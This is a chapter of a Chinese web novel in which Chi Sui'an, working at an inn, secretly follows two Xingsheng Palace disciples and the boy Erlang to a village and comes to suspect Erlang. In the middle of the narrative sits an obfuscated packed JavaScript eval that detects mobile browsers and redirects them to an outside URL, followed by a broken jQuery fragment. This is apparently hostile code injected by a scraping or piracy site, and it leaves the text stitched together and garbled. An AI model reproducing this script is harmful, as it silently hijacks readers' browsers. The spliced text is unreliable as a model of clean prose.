邓弃感受到池岁安从怒火高涨到喜形于色,觉得真是莫名其妙。“就不许别人是路过?你不要自己送上门被捅死就行。”
不中听,真真是不中听!
池岁安倏地放下心中大石后觉得邓弃的嘴也没那么臭了,些许不中听而已,不与它计较。
有人投宿,有人打尖,店里热闹起来,池岁安忙得脚不沾地,这才晓得秦娘子每次要干多少事情,确实挣的辛苦钱。
高师傅把做好的饭食放在庖屋窗台上,池岁安看到后忙过去端。
“这是那不沾荤腥的。”
她一瞧,果然,碗里连颗葱花都没有,立时端起托盘去敲了她隔壁的房门,“二位的汤饼做好了。”
还是那师弟开的门,将托盘端进去取出饭食后把托盘还给了她,“多谢。”
就这等待的间隙,池岁安觑见房内另外一人面有愠色,拿回托盘后她一刻不敢逗留径直往庖屋去。
邓弃说得对,她不能上赶着去找死,离远点比较好。
此外,兴圣宫的人开始在附近出没,说明有心找她的人应该也摸到附近了,这个地方不能再留了。
打定主意后,她便在大堂守着,等秦娘子回来交接。这一等便等到快酉时,二郎都起身了,还不见秦娘子的身影。
“二郎,你阿姐什么时候回来呀?”
二郎刚起,人还不甚清醒,“她没说。”
“她以往去唐县采买都什么时辰回来啊?”
他挠挠头回想了片刻,“以往、以往的话,得看她要办些什么事了。若是只买些吃用,当天去当天回,若是还有其他的事要办,耽误个三两日也是有的。”
池岁安闻言点头,表示知道了,“天色已晚,你快去用些吃食吧。”
十月初四,霜降已过,二郎点亮了大门口的灯笼,朦胧火光只能照亮方寸之地。
明日就是秦娘子的债主派人来查阅账簿、收取利息的日子。她会连夜回来,还是在外滞留不归呢?
看到二郎进了庖屋,池岁安想起早间高师傅的小声嘟囔:“怕不是这几日丢钱失心疯了。明日就是初五,今日去什么唐县,丢下这么大个摊子给谁?”
听高师傅的口气,以前恐怕没有过这情况。
秦大娘子在这么紧要的关头出门,竟没告诉二郎什么时候回来……
※
月上中天,清辉遍地,旅店门口的灯笼在晚间的微风中轻轻摇晃。
客房里,池岁安倚靠在床榻边,透过特意留出的窗缝看着旅店的大门。
没有人进出。
“你打算守一晚上?”
这老邪祟有所隐瞒,池岁安心有猜忌面上却装作毫无芥蒂,“秦娘子这么晚还没回来,我有些担心。”
邓弃冷笑一声表示对她拙劣谎言的不屑。
池岁安不再理会它,她的心神系在三个地方,门口、隔壁以及大堂。
“吱呀──”
隔壁的房门被打开,铃铛声在池岁安听来格外清晰。
来了!她精神一震。
兴圣宫那两人借着月光朝大门外走去。
池岁安没动。
不消片刻,二郎从大堂里出来,轻手轻脚地跟上了前面两人。
又过了几息后,池岁安才轻轻拉开房门,悄悄跟在二郎后面。
南河仍旧沉默地流淌着,水流拍击河岸的声音昭示着它不像看上去那么平静,一如今夜。他们三队人马逆流而上,只有兴圣宫两人腰间的铃铛声与河水拍击声相和。
走了近两刻钟,池岁安隐隐约约看到了前方村庄的轮廓。
又跟了一段后,兴圣宫那两人果真往村庄走去,一个拐弯后便不见了人影。缀在其后的二郎见状立即拐进了路旁的树林之中,也许是准备抄近道。
池岁安稍稍直起身环顾四周,确定周边没人后朝兴圣宮两人消失处撵去,临近拐弯时又放慢脚步弯下腰,借着路边的野草掩映往前摸去。
“还不赶紧让开!”
“凭什么让开,这路又不是你们的!”
池岁安刚摸到拐弯处就听到了前面的争吵,赶紧爬进草丛里与野草融为一体。
那师弟道:“你敢耽误兴圣宫办事?”
“管你什么公、什么母,陌生人不准进我们村!”
这个阻拦兴圣宮的人声音听着年岁不大,但和二郎的公鸭嗓截然不同,池岁安心中疑惑,二郎去哪里了?
师弟声音里添上了怒气,“你胆敢对兴圣宫不敬?!”
“耽误了兴圣宫的事,任你是哪里的人,等着屠村吧。”
嚯,好霸道!池岁安不晓得师弟身边这人说的是真的,还是吓唬别人的。
拦路的人滞了一瞬,似乎也没想到兴圣宫做事这么狠辣,“你吓唬谁呢!还有王法吗?”
这熟悉的味道……池岁安腹诽,该不会要出现那句经典台词了吧?
结果却是那师弟接话,“兴圣宫承大梁御邪重任,你今夜故意在此阻拦,即便以后不屠村,按大梁令规定五家为保,罪连坐。你可想好了?”
“师弟,与他说那么多做甚,直接解决了他便是。”那人说罢抽出了佩剑,一阵寒光从漆黑剑鞘中闪现。
“你、你们真是那什么宫的?我、我不过怕你们是歹人,让你们去便是。”拦路的显是有些怕了。
“哼……”
那拔剑之人刚要发作,却被师弟劝了下来,“师兄,办事要求,懒得与个黄口小儿计较。”
那师兄闻言将剑往剑鞘里一送,“你跑得了和尚跑不了庙。”说罢他二人便继续往村庄方向走去。
拦路的人退到一边,见他们往村里去后却没有跟上,停留一会儿后朝相反的方向奔去。
池岁安躲在草丛里大气都不敢喘,直到那人从她身边跑过之后才敢微微抬起头。
因为离得远,她只能看到那人背影乌黑一团,走路姿势有些许怪异,好似左腿不太灵便。
池岁安陷入两难,是跟着兴圣宮两人,还是跟着这个拦路的人?
事到如今,兴圣宮的人出现在这里显见跟二郎有关,否则他不会跟踪他们来此。只是二郎到底哪里去了?这个拦路的又是谁?
兴圣宮的人前一夜出现在山洞前,山洞里有秦娘子丢失的铜钱,二郎既跟兴圣宮有关,又和秦娘子有关,那他和丢失的铜钱是否有关?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735706|174092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有她一直搁在心上的,那晚她刚从地上捡起铜钱,二郎就出现在她身后了,真有那么巧?昨夜那个不明之物窜进大堂后,大堂里恰巧也只有二郎一人……
谜团真是越来越多。
最重要的是,那一晚邓弃明明说有回现世的线索,后面却闭口不谈,昨夜也说兴圣宮有线索,后面也不再提及,这老邪祟到底在想什么?
可恶,好像就只有她一人关心回现世的线索。哼,她回不了现世,它也休想破开法器的禁锢。
池岁安最终选择回旅店,二郎跟所有的事情都相关。那个师兄有句话说得对,跑得了和尚跑不了庙。
她回到旅店后直奔大堂而去,二郎一个人在柜台后坐着打盹,于是前一夜的情形再次上演。
二郎在柜台后带着睡意抬起头,“池娘子,你怎的还没睡?”
池岁安慢悠悠地走到柜台前拎起一壶凉水,“我起来找水喝,你一直守在这里吗?”
“晚间我一直都守在这里,怎么了?”
“没事。”
她心中冷笑,还真是看走眼了,二郎真有意思。
※
“二郎,你先帮高师傅把东西归置好,今日晚点睡。”一大早秦娘子爽快的声音就在门外响起。
池岁安心里一块石头总算落地,想了想迅速起身收拾好出门。“大娘子什么时候回来的?”
“昨日路上遇到点事耽搁了,回来已是半夜。我都害怕耽误今天的大事,总算是赶回来了。”
昨夜池岁安回房后一直在听隔壁房门有没有响过,可惜后来太困睡着了。秦娘子估计也是在她睡着之后回来的。
她走到秦娘子身旁,发觉秦娘子今日穿戴得较往日隆重些,面上敷了粉,看来是真重视这查账的。
池岁安点头说辛苦,余光看到高师傅和二郎正把板车上的柴进庖屋,便说:“我去看看高师傅他们有没有需要帮忙的,顺便吃朝食。”
秦娘子笑着回道:“你先去用朝食,今日你的活也不轻松。”
池岁安进庖屋时,高师傅和二郎正将柴块整齐地码放在灶门前,已经堆了好高一摞,她想起账簿里记的买柴费用,“外面不远就有一座山,怎的还去买柴?”
高师傅头也不抬,“池娘子说笑,那山可是有主的。附近的农家去拾点枯枝败叶,人家兴许不跟你计较,咱们店里这么大的耗费,哪能去山上砍柴。”
“嗐,我倒是忘了。”池岁安恨不得打自己的嘴,真是说多错多。
她快速地解决了高师傅留的蒸饼,拍拍手就去帮忙,一次抱了一捆柴往里去,恰巧与出门的二郎撞在一起。
不知怎的,池岁安手中的柴捆突地散开往地上落去,有两块不巧刚好打在二郎左腿上,“二郎,你没事吧?”
“没事。”二郎还是一副公鸭嗓子。
“你把裤腿撩起来我看看有没有砸到。”
高师傅经过说:“二郎一个男娃,这点事算什么,不用管。”
“这磕磕碰碰再正常不过,我皮糙肉厚的哪有什么事。”二郎也附和到。
“没事就好,没事就好。”
要是你刚才脸没有疼得变形就更好了。